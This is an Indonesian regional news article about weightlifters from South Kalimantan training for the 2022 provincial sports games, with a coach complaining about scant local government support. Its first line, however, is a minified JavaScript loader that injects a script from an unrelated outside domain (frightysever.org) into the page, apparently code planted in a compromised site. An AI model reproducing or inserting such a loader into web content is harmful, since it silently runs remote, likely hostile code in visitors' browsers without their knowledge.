(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Angkat Besi Yakin Berjaya di Porprov 2022 Meski Minim Dukungan Pemerintah

KANALKALIMANTAN.COM, BANJARMASIN – Kejuaraan Provinsi (Kejurprov) Kalsel dan Pekan Olahraga Provinsi (Porprov) 2022, untuk cabang lomba angkat besi dan angkat berat segera dimulai.

Dalam event Porprov, setiap 9 kabupaten/kota di Kalsel siap mengirimkan sejumlah atlet andalan untuk turut berlaga di Kota Kandangan, Kabupaten Hulu Sungai Selatan (HSS), November mendatang.

Mudjianto, pelatih Cabor angkat besi menuturkan, akan mengirimkan 9 atlet angkat besi dari setiap kabupaten/kota seperti Tabalong, dan Balangan. Para atlet ini akan diikutkan dalam kelas perseorangan putra dan putri.

“Banyak dari 9 kabupaten dan kota, seperti sebagian Tabalong dan Balangan, nah yang di sini ada 7 perwakilan yang latihan untuk kesiapan khusus,” ujar Mudjianto, ditemui saat melatih atlet di SKB Mulawarwan Banjarmasin, Minggu (18/9/2022).

Persiapan demi persiapan terus digenjot atlet angkat besi dari berbagai daerah di Kalsel di tempat latihan gabungan, yaitu di SKB Mulawarman, Kota Banjarmasin.

Atlet dari Kabupaten Hulu Sungai Utara (HSU), Muhammad Guntur (16), mengatakan, sekarang ini persiapannya sudah mencapai 70 persen.

“Masih belum full, tapi latihan saat ini sudah mencapai total mengangkat berat 155 kilogram,” ucap Guntur yang sedang melakukan latihan gabungan di SKB Mulawarman Banjarmasin.

Walaupun latihan angkat besi ini dilakukan bersama atlet dari beberapa daerah di Kalsel, Guntur tetap yakin dan optimis bisa memperoleh medali.

Atlet dari Kabupaten Hulu Sungai Utara (HSU), Muhammad Guntur. Foto: wanda

“Tidak apa sih latihan bersama-sama. Kita semangat tetap optimis dengan target mendapat mendali emas,” tuturnya.

Guntur yang sudah menggeluti olahraga ini sejak tahun 2018 pun menargetkan pada Porprov 2022 ini bisa mendapatkan medali emas dan juga bisa mencapai target mengikuti Pra PON yaitu babak penyisihan untuk Pekan Olahraga Nasional (PON) cabor angkat besi di tahun yang akan datang.

Ditambahkan pelatih bahwa dirinya sangat menyayangkan bahwa dalam cabor angkat besi di Kalsel sendiri masih minim akan perhatian dari setiap pemerintah daerahnya.

“Kita kan ada setiap perwakilan dari 9 kabupaten yang mengikuti atletnya, diantara itu hanya mendukung Dispora Kota Banjarmasin,” imbuhnya.

Kemudian di sisi lain, sambung Mudjianto, para pelatih juga kita sulit untuk mencari atlet puteri, padahal untuk puteri sendiri memiliki peluang yang tinggi untuk mendapatkan juara.

“Di sisi lain kita sulit mencari atlet cewek, jadi lebih banyak cowok, padahal cewek peluang untuk mendapat juara itu hanya perlu waktu sekitar setahun dua tahun, sedangkan cowok butuh 5 sampai 6 tahun baru bisa menang,” tandasnya.

Dirinya berharap cabor angkat besi di Kalsel dapat terus berjaya dengan memaksimalkan potensi yang ada. Mudjianto pun menargetkan atlet angkat besi Banjarmasin mendapatkan 6 medali emas dalam laga Porprov 2022 ini. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell